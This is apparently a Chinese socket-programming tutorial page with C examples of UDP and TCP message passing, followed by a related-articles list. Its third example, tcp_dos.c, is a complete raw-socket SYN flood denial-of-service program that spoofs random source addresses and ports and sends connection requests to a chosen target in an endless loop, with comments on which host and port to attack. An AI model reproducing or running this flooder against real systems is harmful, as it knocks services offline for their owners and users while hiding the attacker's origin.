socket接口

通过socket接口传输数据

例1: udp协议的socket传输数据

recv.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <unistd.h>
/*
 *receive data as "./recv port"
 */

int    main(int argc, char *argv[])
{
    int sock_fd;
    struct sockaddr_in myaddr;
    struct sockaddr_in sendaddr;

    char buf[1024];
    int    recv_num;
    int    recvlen;
/*
    if(3 != argc)
    {
        printf("argc\n");
        exit(1);
    }
*/
    if(-1 == (sock_fd = socket(PF_INET, SOCK_DGRAM, 0)))
    {
        printf("socket\n");
        exit(2);
    }

    myaddr.sin_family = AF_INET;
    myaddr.sin_port = htons(atoi(argv[1]));
    myaddr.sin_addr.s_addr = htonl(INADDR_ANY);

    if(-1 == bind(sock_fd, (struct sockaddr *)&myaddr, sizeof(struct sockaddr_in)))
    {
        perror("bind");
        exit(1);
    }
    recvlen = sizeof(struct sockaddr_in);
    recv_num = recvfrom(sock_fd, (char *)buf, sizeof(buf), 0,
                    (struct sockaddr *)&sendaddr, &recvlen);  

    printf("%s\n", buf);
/*
    to.sin_family = AF_INET;
    to.sin_port = htons(atoi(argv[2]));
    to.sin_addr.s_addr = inet_addr(argv[1]);

    int ret = sendto(sock_fd, buf, strlen(buf) + 1, 0,
                (struct sockaddr *)&to, sizeof(struct sockaddr_in));
    if(-1 == ret)
    {
        printf("sendto");
        exit(2);
    }
*/
    close(sock_fd);
}

send.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <unistd.h>
/*
 *send data as: "./send xx.xx.xx.xx port message"
 */

int    main(int argc, char *argv[])
{
    int sock_fd;
    struct sockaddr_in to;
    char buf[1024];
    char *bp = buf;

    if(4 != argc)
    {
        printf("argc\n");
        exit(1);
    }

    if(-1 == (sock_fd = socket(PF_INET, SOCK_DGRAM, 0)))
    {
        printf("socket\n");
        exit(2);
    }

    to.sin_family = AF_INET;
    to.sin_port = htons(atoi(argv[2]));
    to.sin_addr.s_addr = inet_addr(argv[1]);

    strcpy(buf, argv[3]);
    int ret = sendto(sock_fd, buf, strlen(argv[3]) + 1, 0,
                (struct sockaddr *)&to, sizeof(struct sockaddr_in));
    if(-1 == ret)
    {
        printf("sendto");
        exit(2);
    }

    close(sock_fd);
}

编译链接以上两段代码, 先执行"./recv 12345", 然后在另一个终端执行"./send 192.168.1.103 12345 abcdefghijklmn", 输出如下:

例2: tcp协议的socket数据传输

server.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <unistd.h>

/*
 * run command as "./server port"
 */
int    main(int argc, char *argv[])
{
    int sock_fd;    //use to listen
    struct sockaddr_in myaddr;
    struct sockaddr_in sendaddr;

    char buf[1400];
    int    recv_num;
    int    recvlen;

    if(2 != argc)
    {
        printf("argc\n");
        exit(1);
    }

    if(-1 == (sock_fd = socket(PF_INET, SOCK_STREAM, 0)))
    {
        printf("socket\n");
        exit(2);
    }

    myaddr.sin_family = AF_INET;
    myaddr.sin_port = htons(atoi(argv[1]));
    myaddr.sin_addr.s_addr = htonl(INADDR_ANY);

    if(-1 == bind(sock_fd, (struct sockaddr *)&myaddr, sizeof(struct sockaddr_in)))
    {
        perror("bind");
        exit(1);
    }

    listen(sock_fd, 20);

    struct sockaddr_in client_addr;
    int    client_addr_len = sizeof(struct sockaddr);
    int client_com_fd = accept(sock_fd, (struct sockaddr *)&client_addr, &client_addr_len);

    recvlen = recv(client_com_fd, buf, sizeof(buf), 0);
    if(recvlen >= 0)
    {
        buf[recvlen] = 0;
    }
    else
    {
        printf("recv error\n");
    }
    printf("%s\n", buf);

    //close(sock_fd);
    close(client_com_fd);
}

client.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <unistd.h>
/*
 * send data as "./send ipaddr port message"
 */

int    main(int argc, char *argv[])
{
    int sock_fd;
    //struct sockaddr_in client_addr;
    struct sockaddr_in server_addr;
    char buf[1024];
    int    len;

    if(4 != argc)
    {
        printf("argc\n");
        exit(1);
    }

    if(-1 == (sock_fd = socket(AF_INET, SOCK_STREAM, 0)))
    {
        printf("socket\n");
        exit(2);
    }

    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(atoi(argv[2]));
    server_addr.sin_addr.s_addr = inet_addr(argv[1]);

    connect(sock_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr));

    strcpy(buf, argv[3]);
    len = strlen(argv[3]);
    send(sock_fd, buf, len, 0);  

    close(sock_fd);

}

编译链接以上两段代码, 先执行"./server 12345", 然后在另一个终端执行"./client 192.168.1.103 12345 helloWorld"输出如下:

例3: 原始socket发送tcp半连接.  很久以前弄到的一个自杀性网络攻击代码, 如下:

tcp_dos.c

/* dos.c - 一个dos( denial of service:拒绝服务)攻击程序 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <string.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>

int sock_fd;

/* tcp 伪头部, 计算校验和时需要, 可以参考rfc 793 */
typedef struct psheader {
    unsigned long saddr;    /* 源IP地址                */
    unsigned long daddr;    /* 目的IP地址                 */
    char mbz;        /* mbz = must be zero, 用于填充对齐 */
    char protocal;        /* 8位协议号                 */
    unsigned short tcpl;    /* TCP包长度                */
} pheader;

/* 一个通用的计算校验和的函数 */

static unsigned short ip_sum ( u_short *addr, int len )
{
    register int nleft = len;
    register u_short * w = addr;
    register int sum = 0;

    u_short answer = 0;

    while ( nleft > 1 ) {
        sum += *w++;
        nleft -= 2;
    }

    if ( nleft == 1 ) {
        *(u_char *) (&answer) = *(u_char *) w;
        sum += answer;
    }

    /* sum = 高16位的值加上低16位 */
    sum = (sum >> 16) + (sum & 0xffff);
    /* 加上近位              */
    sum += (sum >> 16);
    /* 取反,同时变成16位有效      */
    answer = ~sum;
    return (answer);
}

/* 重新计算ip和tcp头的校验和,并存入相应的协议字段 */
void re_cal_checksum( struct iphdr * ih, struct tcphdr * th )
{
    pheader ph;
    char buf[100];

    /* 伪头源ip地址   */
    ph.saddr = ih->saddr;
    /* 伪头目的ip地址 */
    ph.daddr = ih->daddr;
    ph.mbz = 0;
    /* 协议              */
    ph.protocal = IPPROTO_TCP;
    /* tcp包长度       */
    ph.tcpl = htons( sizeof( struct tcphdr ) );

    memcpy( buf, &ph, sizeof( pheader ) );
    memcpy( buf + sizeof(pheader), th, sizeof( struct tcphdr ) );
    memset( buf + sizeof(pheader) + sizeof(struct tcphdr), 0, 4 );
    th->check = ip_sum( (u_short*)buf, (sizeof(pheader)+sizeof(struct tcphdr)+1)&~1);

    memcpy(buf, ih, 4*ih->ihl);
    memcpy(buf+4*ih->ihl, th, sizeof(*th));
    memset(buf+4*ih->ihl+sizeof(*th), 0, 4);

    ih->check=ip_sum( (u_short*)buf, (4*ih->ihl + sizeof(*th) + 1) & ~1);
    memcpy(buf, ih, 4*ih->ihl);
}

void init_tcp_ip_head( struct iphdr * ih, struct tcphdr * th, unsigned long dest_ip, unsigned short dest_port)
{
    /* IP版本, 现在基本都用ipv4            */
    ih->version = 4;
    /* ip首部长度, 一般都为20个字节, 由于ihl是表示多少个4字节,因此要除以4,等于5 */
    ih->ihl = 5;
    /* 服务类型                   */
    ih->tos = 0;
    /* ip数据包的总长度                */
    ih->tot_len = sizeof( struct iphdr ) + sizeof( struct tcphdr );
    /* 16位标识                         */
    ih->id = ( unsigned int )random();
    /* 碎片偏移                       */
    ih->frag_off = 0;
    /* 8位生存时间                     */
    ih->ttl = ( unsigned int )random()%150 + 20;
    /* 指定传输层采用的协议,我们当然要采用TCP咯 */
    ih->protocol = IPPROTO_TCP;
    /* 校验和, 等下会重新计算, 先初始化为0 */
    ih->check = 0;
    /* 源ip地址, 初始化的时候,   */
    ih->saddr = ( unsigned int )random();
    /* 你要攻击的目标IP地址            */
    ih->daddr = dest_ip;
    /* ok, ip 头初始化完毕 */

    /* tcp 源端口号, 随便给一个           */
    th->source = ( unsigned int )random() % 30000 + 4096;
    /* 目的端口号,你要攻击对方的端口       */
    th->dest = htons( dest_port );
    /* 32位序列号,随便给一个           */
    th->seq = ( unsigned int )random();
    /* 32位确认序列号,由于我们是攻击方,因此这个值可以随便给 */
    th->ack_seq = 0;
    /* tcp 首部长度,一般为20,同样需要除以4 */
    th->doff = sizeof( struct tcphdr ) / 4;
    /* 保留值, 随便给                   */
    th->res1 = 0;
    /* 发送端还没发送完成                  */
    th->fin = 0;
    /* 用来发起一个连接,此位一定要置1      */
    th->syn = 1;
    /* 重建连接,当然没必要,因此为0            */
    th->rst = 0;
    /* 接受方应尽快把这个报文交给应用层    */
    th->psh = 0;
    /* 确认序号,现在我们是发起连接,不是确认*/
    th->ack = 0;
    /* 紧急指针                   */
    th->urg = 0;
    /* 16窗口大小,接受端期望接受的字节数   */
    th->window = htons( 65535 );
    /* 现在只是初始,等下回校验           */
    th->check = 0;
    /* 16位紧急指针                   */
    th->urg_ptr = 0;
    /* OK, tcp 头初始化完毕    */
}

void send_connect( int sockfd, char * buf )
{
    struct iphdr * ih = ( struct iphdr * ) buf;
    struct tcphdr * th = ( struct tcphdr * )( buf + sizeof(struct iphdr) );

    /* 被攻击的机器的地址结构 */
    struct sockaddr_in target;
    target.sin_family = AF_INET;
    target.sin_port = th->dest;
    target.sin_addr.s_addr = ih->daddr;

    /* 发送连接数据      */
    int ret;
    ret = sendto( sockfd, buf, sizeof(struct iphdr)+sizeof(struct tcphdr), 0,
            (struct sockaddr*)&target, sizeof(target) );
    if( ret == -1 ) {
        perror("send packet");
        exit(1);
    }
}

int main( int argc, char **argv )
{
    int i;
    unsigned short int dest_port;
    unsigned long int dest_ip;

    /* 处理用户的命令行输入, 如果用户不指定ip地址的话, 默认是攻击自己, 如果不指定端口号的话,默认就是22 */
    if( argc == 1 ){
        dest_ip = inet_addr( "127.0.0.1" );
        dest_port = htons( 22 );
    } else if( argc == 2 ) {
        dest_ip = inet_addr( argv[1] );
        dest_port = htons( 22 );
    } else if( argc == 3 ) {
        dest_ip = inet_addr( argv[1] );
        dest_port=ntohs(atoi( argv[2]) );
    } else {
        printf("Usage: %s [你要攻击的ip地址] [你要攻击的port number] \n", argv[0] );
        exit( 1 );
    }

    /* 创建一个原始的套接口, 自己封装ip头和tcp头 */
    sock_fd = socket( AF_INET, SOCK_RAW, IPPROTO_RAW );
    if( sock_fd == -1 ) {
        perror("socket");
        exit(1);
    }

    /* buf - 用于存储ip 和 tcp头 */
    char * buf = malloc( sizeof(struct iphdr) + sizeof(struct tcphdr) );
    /* ip 头结构  */
    struct iphdr * ih = ( struct iphdr * ) buf;
    /* tcp 头结构 */
    struct tcphdr * th = ( struct tcphdr * )( buf + sizeof(struct iphdr) );

    /* 初始化tcp和ip头结构 */
    init_tcp_ip_head( ih, th, dest_ip, dest_port );

    while ( 1 ) {
        /* 伪装源ip地址 */
        ih->saddr = ( unsigned int )random();
        /* 伪装源端口号 */
        th->source = ( unsigned int )random() % 30000 + 4096;

        /* 重新计算 ip头和tcp头的校验和 */
        re_cal_checksum( ih, th );

        /* 发送连接请求, 开始攻击 */
        send_connect( sock_fd, buf );
    }
}

编译链接执行,  输出如下:

时间: 2024-10-13 10:20:27

socket接口的相关文章

linux网络socket 接口转

linux网络socket 接口 1.socket函数:一个进程必须做的第一件事就是调用socket函数获得一个文件描述符. ----------------------------------------------------------------- #include<sys/socket.h> int socket(int family,int type,int protocol); 返回:非负描述字---成功 -1---失败 -----------------------------

Java语言Socket接口用法详解

Socket接口用法详解   在Java中,基于TCP协议实现网络通信的类有两个,在客户端的Socket类和在服务器端的ServerSocket类,ServerSocket类的功能是建立一个Server,并通过accept()方法随时监听客户端的连接请求. 扩展: ServerSocket中常用的构造函数及方法 构造函数:ServerSocket(int port) 这是一个构造方法,用于在当前的服务器默认的IP地址上监听一个指定的端口,即在指定的IP和端口创建一个ServerSocket对象

Socket接口是TCP/IP网络的API-C语言版

Socket接口是TCP/IP网络的API,Socket接口定义了许多函数或例程,程序员可以用它们来开发TCP/IP网络上的应用程序.要学Internet上的TCP/IP网络编程,必须理解Socket接口.  Socket接口设计者最先是将接口放在Unix操作系统里面的.如果了解Unix系统的输入和输出的话,就很容易了解Socket了.网络的 Socket数据传输是一种特殊的I/O,Socket也是一种文件描述符.Socket也具有一个类似于打开文件的函数调用Socket(),该函数返 回一个整

Java中socket接口调用

最近一个项目中接口通讯这一块主要是调用银联系统的socket接口,我方是客户端,即发送请求接收返回报文的一方.在贴代码之前,还是要了解一下关于socket的基础知识. Socket的基本概念 1.建立连接 当需要建立网络连接时,必须有一台机器运行一个程序,随时等候连接,而另一端的程序这对其发出连接请求.这一点同电话系统类似--必须有一方拨打电话,而另一方必须等候电话连通. 建立连接的过程为: (1)先在服务器端生成一个ServerSocket实例对象,随时监听客户端的连接请求. (2)当客户端需

【1】HTTP协议和Socket接口区别

内容提要: 1.网络七层模型 2.什么是HTTP协议 3.什么是Socket接口 1.网络七层模型 第一层:物理层 为设备之间的信息提供传输提供可靠环境,那么这个环境是什么呢? 如:同轴电缆,插头,接收器,水晶头,网线等.可以在通信的两个数据终端的设备之间连接起来形成一条通路. 再说下这个协议中的某一项规定:比如eiars-232-c及rs-449就可以兼容于100序列线上. 第二层:数据链路层 提供数据的传送服务.这里涉及到一个信息就是帧,它是数据传输的单元,不同的协议帧的长短也不同.它还有差

探究python与linux的socket接口间的关系

1. 实验环境 Ubuntu 16.04LTS 2. 利用python的socket接口实现一个简单的聊天小程序 server端 import socket server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) server.bind(('127.0.0.1',8083)) server.listen(5) print

TCP/IP协议与HTTP协议区别SOCKET接口详解

网络由下往上分为:      物理层--                       数据链路层-- 网络层--                       IP协议 传输层--                       TCP协议 会话层-- 表示层和应用层--           HTTP协议   socket则是对TCP/IP协议的封装和应用(程序员层面上).也可以说,TPC/IP协议是传输层协议,主要解决数据 如何在网络中传输,而HTTP是应用层协议,主要解决如何包装数据.关于TCP/

cross socket接口封装

cross socket是DELPHI跨操作系统的SOCKET通讯库,支持WINDOWS,LINUX,MACOS操作系统. 经过封装的接口,调用异常简单. procedure TForm1.Button2Click(Sender: TObject); //REST查询 begin var url, sql1, sql2: string; sql1 := TNetEncoding.URL.Encode('select * from tgoods'); sql2 := TNetEncoding.UR

unix socket接口

socket 创建套接字文件: #include <sys/socket.h> // 成功返回非负套接字描述符,失败返回-1 int socket(int domain, int type, int protocol); domain值: domain 描述 AF_INET IPv4 Internet protocols AF_INET6 IPv6 Internet protocols type值: type 描述 SOCK_STREAM Provides sequenced, reliabl